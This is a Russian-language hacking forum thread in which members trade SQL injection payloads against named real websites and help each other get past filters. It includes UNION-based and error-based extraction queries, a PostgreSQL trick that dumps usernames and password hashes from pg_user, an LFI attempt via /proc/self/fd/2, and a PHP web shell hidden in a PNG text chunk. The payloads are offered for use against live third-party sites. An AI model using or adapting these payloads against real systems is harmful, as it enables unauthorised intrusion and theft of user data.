Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    www.mebi.us/out.php?id=5+and+mid(version(),1,1)=5

    upd

    Второй случай более интересен:

    www.sport-trade.ru/out.php?id=-9'+union+select+1,2,3,4,5,6,7,8,9,version(),11+--+

    Смотрим заголовок ответа сервера:

    HTTP/1.1 302 Moved Temporarily
    Server nginx/1.1.5
    Date Thu,10 Oct 2013 10:31:04 GMT
    Content-Type text/ng
    Transfer-Encoding chunked
    Connection keep-alive
    X-Powered-By PHP/5.2.17
    location /out.php?id=5.1.70-cll

    Ну или смотри адресную строку.
     
    #22601 YaBtr, 10 Oct 2013
    Last edited: 10 Oct 2013
    1 person likes this.
  2. Inoms

    Inoms Member

    Joined:
    23 Jun 2013
    Messages:
    103
    Likes Received:
    29
    Reputations:
    45
    http://www.sport-trade.ru/out.php?key=cat&a=item&item_id=7147%27%20UNION%20SELECT%201,2,3,4,5,6,7,user%28%29,9,10,11,12,13,14,15,16,17+--+
    http://www.mebi.us/out.php?id=9&did=311%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,user%28%29,12,13,14,15,16+--+
     
  3. Always

    Always New Member

    Joined:
    8 Feb 2012
    Messages:
    72
    Likes Received:
    3
    Reputations:
    0
    отправляю
    'and(select*from(select(name_const(version(),1)),name_const(version(),1))a)and'
    получаю:
    CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42S21]: Column already exists: 1060 Duplicate column name '5.5.33-log'
    отправляю:
    'and(select%201%20from(select%20count(*),concat((select%20table_name%20from%20information_schema.tables%20limit%2010,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)and'
    получаю:
    CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%201%20from(select%20count(*),concat((select%20table_name%20from%20information_s' at line 3

    выше подсказывали с "+" убрал, смог решить проблему. Тут хз что делать...если можно опишите подробно из-за чего возникает такая проблема с запросом!
    Спасибо.
     
  4. Inoms

    Inoms Member

    Joined:
    23 Jun 2013
    Messages:
    103
    Likes Received:
    29
    Reputations:
    45
    Always, а что, если вместо пробелов использовать комментарии - /**/, или слитные конструкции ?
    Как видно на примере, они не декодятся в аски символы и сырые попадают в запрос.
     
  5. wacky

    wacky Member

    Joined:
    30 Jan 2012
    Messages:
    42
    Likes Received:
    7
    Reputations:
    6
    Ну если там рерайт и параметры берутся из request_uri то "/" у него не получится использовать. В таком случае, остаются беспробельные конструкции.
     
  6. Always

    Always New Member

    Joined:
    8 Feb 2012
    Messages:
    72
    Likes Received:
    3
    Reputations:
    0
    заменилна - /**/
    CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*' LIKE url_id' at line 3
     
  7. wacky

    wacky Member

    Joined:
    30 Jan 2012
    Messages:
    42
    Likes Received:
    7
    Reputations:
    6
    Как я написал выше, в случае рерайта "/" игнорируется, как разделитель между параметрами(впрочем, зависит от самого рерайта конечно). Можешь попробовать беспробельные варианты, скобки как вариант.
     
  8. Inoms

    Inoms Member

    Joined:
    23 Jun 2013
    Messages:
    103
    Likes Received:
    29
    Reputations:
    45
    Да, все верно написали.
    Сократить текущий запрос до того, чтобы там не было ни одного пробела\спец-символа увы нельзя.
    Если там есть функция extractvalue, можно через неё часть данных выводить, если нет:
    and(select(1)from(information_schema.tables)group by(concat(,floor(rand(0)*2)))having(min(0))) Кто уберет последний пробел ?
    Для вывода чего-то по-очередно нужен лимит.. а там тоже коварный пробел всё портит.
     
  9. Always

    Always New Member

    Joined:
    8 Feb 2012
    Messages:
    72
    Likes Received:
    3
    Reputations:
    0
    где можно почитать?

    Спасибо за помощь!
     
  10. wacky

    wacky Member

    Joined:
    30 Jan 2012
    Messages:
    42
    Likes Received:
    7
    Reputations:
    6
    Версия 5.5, должен быть и extractvalue и updatexml.
     
  11. wacky

    wacky Member

    Joined:
    30 Jan 2012
    Messages:
    42
    Likes Received:
    7
    Reputations:
    6
    Почитать мануал по функциям и описание уязвимости на mysql.com
    Примеры запросов с беспробельным дополнением extractvalue/updatexml

    [​IMG]

    Вместо user() конструируешь подзапрос на вывод нужной информации, а лимитируешь mid/substring на 32 символа.

    И да, надеюсь это чисто в образовательных целях, иначе твои действия могут преследоваться по закону.
     
    #22611 wacky, 10 Oct 2013
    Last edited: 11 Oct 2013
  12. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    Относится ли это к скули?
    Warning: Function smartyShowObject() is deprecated in /var/www/сайт/сайт/tools/smarty_v2/compile/%%DE^DEF^DEF53A4D%%search.tpl.php on line 32
    in /var/www/сайт/сайт/classes/Tools.php on line 1903

    Помогите получить данные
    Code:
    http://www.it-kerDELETEch.com.ua/model_list?id=3&mod=1119%27*extractvalue%281,concat_ws%280x27,0x27,%28select%28table_name%29from%28information_schema./*!tables*/%29limit/**/90,1%29%29%29*%27
     
    #22612 Unknowhacker, 11 Oct 2013
    Last edited: 11 Oct 2013
  13. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    www.it-kerch.com.ua/model_list?id=3&mod=1119' union -- %0A%0D select*from(select 1)a1 join(select version())a2 join(select 3)a3 join(select 4)a4 join(select 5)a5 join(select 6)a6 join(select 7)a7+--+
     
  14. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    YaBt
    Версию я итак знаю 5.1.69-cll-lve
    Code:
    http://www.it-kerУДАЛИТЬch.com.ua/model_list?id=3&mod=1119%27*extractvalue%281,concat_ws%280x27,0x27,%28select%28table_name%29from%28information_schema./*!tables*/%29limit/**/90,2%29%29%29*%27
    Я имею ввиду перебрать весь лимит от 0,1 до 95,1 и узнать где данные юзеров. Я б и сам перебрал, но у меня SQLMAP не настраивается, я уже и видосы смотрел и мануалы читал.. нефига!
     
  15. Sergio89

    Sergio89 New Member

    Joined:
    1 May 2013
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    http://24alco . com /index.php?route=product/special
    при переходе выдает ошибку синтаксиса, гляньте спецы!
     
  16. herfleisch

    herfleisch Elder - Старейшина

    Joined:
    7 Jan 2009
    Messages:
    579
    Likes Received:
    203
    Reputations:
    13
    В общем, нашел LFI, не получается раскрутить из-за нехватки памяти. Пробую загрузить через уязвимый скрипт /proc/self/fd/2 В ответ получаю:

    Понятно, не хватает выделенной в настройках PHP памяти. Есть варианты как-то обойти сие ограничение?
     
    #22616 herfleisch, 13 Oct 2013
    Last edited: 13 Oct 2013
  17. Always

    Always New Member

    Joined:
    8 Feb 2012
    Messages:
    72
    Likes Received:
    3
    Reputations:
    0
    Ночь добрая!
    отправляю:
    1'+union+select+1,2,3,4,5,6-- false
    выпадает:
    Query failed: ERROR: each UNION query must have the same number of columns LINE
    отправляю:
    '+union+select+1,2,3,4,5-- true
    Query failed: ERROR: UNION types timestamp without time zone and integer cannot be matched LINE 3
    отправляю:
    1'+union+select+1,2,3,4-- false
    Query failed: ERROR: each UNION query must have the same number of columns LINE 3
    Насколько я понял из статьи:
    https://rdot.org
    5 столбцов
    Решил перепроверить с
    '+union+select+null,null,null,null,null-- false
    '+union+select+null,null,null,null-- true
    Вроде понятно что количество столбцов 5
    А как вывести колонку?

    Не пинайте первый раз с PostgreSQL мучаюсь :(
     
    #22617 Always, 13 Oct 2013
    Last edited: 13 Oct 2013
  18. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    PostgreSQL не такой демократичный как mysql, типы данных должны совпадать в обеих запросах

    во первых если есть вывод ошибок то лучше раскрутить через нее, во вторых можно использовать конвертирование типов, в третьех можно методом тыка найти колонку которая подходит для ваших целей

    вобщем читай
    http://forum.antichat.ru/thread35599.html
     
    _________________________
  19. Always

    Always New Member

    Joined:
    8 Feb 2012
    Messages:
    72
    Likes Received:
    3
    Reputations:
    0
    А может есть какой нибудь раскрученный сайтик?
    Просто потренироваться....понять!


    ух...
    Вот таким запросам стал выводить имена)
    '+and+1=cast((SELECT+table_name+FROM+information_schema.tables+LIMIT+1+OFFSET+0)+as+int)--

    может кому будет интересно!

    А это что за муть:
    запрос:
    '+and+1=cast((SELECT+usename||chr(58)||passwd+from+pg_user+LIMIT+1+OFFSET+3)+as+int)--
    Query failed: ERROR: invalid input syntax for integer: "antoha:********" in

    пасс под звездочками... :confused:
     
    #22619 Always, 13 Oct 2013
    Last edited: 13 Oct 2013
  20. wanttoask

    wanttoask New Member

    Joined:
    30 Sep 2012
    Messages:
    81
    Likes Received:
    1
    Reputations:
    0
    Где-то читал, что при добавлении в png текстового чанка, php выполняет код внутри него. Попробовал добавить
    Code:
    <?php system($GET['cm']) php?>
    через TweakPNG, поместил в корневую директорию локалхоста, открываю изображение
    Code:
    localhost/Basketball.png?cm=mkdir hack
    , ищу папку хак, а ее нет. Как делать это правильно?
     
Thread Status:
Not open for further replies.